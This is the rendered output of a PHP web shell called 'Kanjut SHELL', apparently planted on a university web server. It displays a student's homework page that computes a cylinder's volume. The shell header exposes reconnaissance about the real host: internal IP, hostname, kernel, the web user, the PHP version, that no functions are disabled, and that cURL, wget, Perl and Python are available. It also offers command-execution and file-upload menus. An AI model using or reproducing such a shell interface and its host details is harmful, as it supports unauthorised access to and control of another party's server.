Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.138.126.124
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/bdstamour/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/bdstamour/www/homework1part2.php
<!--

        Author:         Brandon St. Amour
        Instructor:     Dr. Wang
        File:           homework1part2.php
        Goal: 		Calculate the volume of a cylinder that has the radius 
			of 2 and height of 1. Display the result to one decimal
			 place.

-->


<body>

<font size=4 color=black>
<center>

The volume of a cylinder with a radius of 2 and a height of 1 is:

 <?php
    
    $radius = 2;
    $height = 1;    $volume = M_PI * $radius * $radius * $height;
    $volume = number_format($volume, 1);
    print "Volume = $volume ";

?> 

<HR>

<A HREF=homework1part1.php> Homework 1 Part 1 </A><p>
<A HREF=index.html> Home </A></center>

</font></body>

Stv3n404 - 2023